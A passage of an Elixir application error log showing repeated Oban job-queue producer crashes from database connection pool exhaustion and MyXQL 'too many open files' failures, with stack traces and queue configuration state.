    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:38:42.239699Z], limit: 50, uuid: "e1a16aa7-7447-45ff-b983-3d3a23ace70d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.239705Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.21533>, refresh_timer: #Reference<0.2525715032.1121189889.128311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:38:42.239721Z], limit: 20, uuid: "0b597412-16cc-4a33-b6ab-ea07a1da20cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.239727Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128342>, refresh_timer: #Reference<0.2525715032.1121189889.128315>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:38:42.239485Z], limit: 3, uuid: "380741f2-dc27-4edb-97db-f444ea46defd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.239491Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128302>, refresh_timer: #Reference<0.2525715032.1121189889.128301>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:38:42.238853Z], limit: 5, uuid: "2f63887b-04ae-4508-ab32-d6ad933bedfc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.238863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24648>, refresh_timer: #Reference<0.2525715032.1068498948.21509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:54.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:38:42.240516Z], limit: 10, uuid: "489274de-6111-4a0a-8295-592c7186fc6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.240522Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.21532>, refresh_timer: #Reference<0.2525715032.1068498948.21521>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:56.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:58.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:03.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:05.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:38:54.242425Z], limit: 10, uuid: "c52bbf89-28d8-4888-8d26-d8b98dc8f97d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.242430Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128746>, refresh_timer: #Reference<0.2525715032.1077411843.257068>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:38:54.239795Z], limit: 5, uuid: "5928a2ed-c0e3-4875-b69f-867c46b361c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.239801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24696>, refresh_timer: #Reference<0.2525715032.1099431938.24677>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:38:54.240246Z], limit: 3, uuid: "03758d2d-0d95-4a53-9e6f-d86ffa8cb075", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.240254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24697>, refresh_timer: #Reference<0.2525715032.1068498948.21659>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:38:54.240102Z], limit: 50, uuid: "94212334-54df-4a5f-9397-e0e4f848ad53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.240107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128745>, refresh_timer: #Reference<0.2525715032.1099431938.24684>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
